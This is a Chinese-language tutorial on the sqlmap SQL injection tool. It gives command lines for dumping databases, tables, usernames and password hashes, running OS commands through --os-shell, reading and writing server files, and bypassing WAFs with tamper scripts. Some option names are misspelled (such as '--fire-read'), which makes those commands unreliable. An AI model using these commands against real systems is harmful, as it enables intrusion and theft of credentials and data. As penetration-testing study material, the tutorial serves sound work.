目录
sqlmap基础使用
1、判断是否存在注入
2、判断文本中的请求是否存在注入
3、查询当前用户下的所有数据库
4、获取数据库中的表名
5、获取表中的字段名
6、获取字段内容
7、获取数据库所有用户
8、获取数据库用户的密码
9、获取当前网站数据库的名称
10、获取当前网站数据库的用户名称
SQLMap进阶:参数讲解
1、–level 5: 探测等级
2、–is-dba:当前用户是否为管理权限
3、–roles:列出数据库管理员的角色
4、–referer:http referer头
5、–sql-shell运行自定义的sql语句
6、–os-cmd,–os-shell:运行任意操作系统的命令
7、–fire-read:从数据库服务器中读取文件
8、 –fire-write –file-dest:上传文件到数据库服务器中
SQLMap自带绕过脚本tamper
一些常用的tamper脚本:
sqlmap是一个自动化的SQL注入工具,主要功能是扫描、发现,并利用给定url的SQL注入漏洞。
sqlmap基础使用
1、判断是否存在注入
sqlmap.py -u url
(如果注入点后面的参数大于等于两个,需要加双引号)
2、判断文本中的请求是否存在注入
Sqlmap.py -r desktop/1.txt
一般在存在cookies注入的情况下使用
3、查询当前用户下的所有数据库
sqlmap.py -u url --dbs
确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有相关数据库。
4、获取数据库中的表名
sqlmap.py -u “url” -D dkeye(具体数据库) --tables
如果不加入-D来指定某一个数据库,那么会列出数据库中的所有的表。继续注入时缩写成—T,在某表中继续查询
5、获取表中的字段名
sqlmap.py -u “url” -D dkeye -T user_info(具体表名) --columns
查询完表名后,查询该表中的字段名,在后续的注入中,—columns缩写成-C
6、获取字段内容
sqlmap.py -u “url” -D dkeye -T user_info(具体表名) -C usrname password(具体字段) --dump
7、获取数据库所有用户
sqlmap.py -u url --users
列出数据库所有用户,如果当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
8、获取数据库用户的密码
sqlmap.py -u url --passwords
如果当前用户有读取包含用户密码的权限,sqlmap会先例举出用户,然后列出hash,并尝试破解。
9、获取当前网站数据库的名称
sqlmap.py -u url --curerent-db
使用该命令可以列出当前网站使用的数据库
10、获取当前网站数据库的用户名称
sqlmap.py -u url --current-user
使用该命令可以列出当前网站使用的数据库用户
SQLMap进阶:参数讲解
1、–level 5: 探测等级
参数 — level 指需要执行的测试等级,一共有5个等级(1-5),可以不加level。默认是1。
http cookies在level为2时就会测试, user-Agent/Referer在level为3时就会测试。
2、–is-dba:当前用户是否为管理权限
sqlmap.py -u url --is-dba
如果是数据库管理员账户,会返回true
3、–roles:列出数据库管理员的角色
该命令仅适用于数据库时oracle时
4、–referer:http referer头
sqlmap可以在请求中伪造http中的referer,当–level参数设定为3或者3以上时,会尝试对referer进行注入。可以通过referer的命令来欺骗,比如–referer http://www.baidu.com
5、–sql-shell运行自定义的sql语句
该命令被用于执行指定的sql语句
shell来指定语句
sqlmap.py -u url --sql-shell
6、–os-cmd,–os-shell:运行任意操作系统的命令
7、–fire-read:从数据库服务器中读取文件
该命令用于读取执行文件
sqlmap.py -u url --file-read "c:/examplr.exe" -v 1
8、 –fire-write –file-dest:上传文件到数据库服务器中
写入本地文件到服务器中,如果使用的数据库为mysql、postgresql、microsoft sql server ,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
SQLMap自带绕过脚本tamper
sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以通过–tamper参数对数据作修改来绕过WAF等设备
命令方式:
sqlmap.py XXXXXX --tamper “模块名”
在日常使用中我们可以用参数–identify-waf进行检测
一些常用的tamper脚本:
apostrophemask.py 过滤单引号,把单引号换为UTF-8
base64encode.py 替换为base64编码
multiplespaces.py 围绕sql关键字添加多个空格
space2plus.py 用+来替换空格
nonrecursivereplacement.py 用双重语句替代预定义的sql关键字
。。。。。。
tamper脚本过多,我们可以在需要的时候自己去寻找,也可以自己编写去应对各种复杂的环境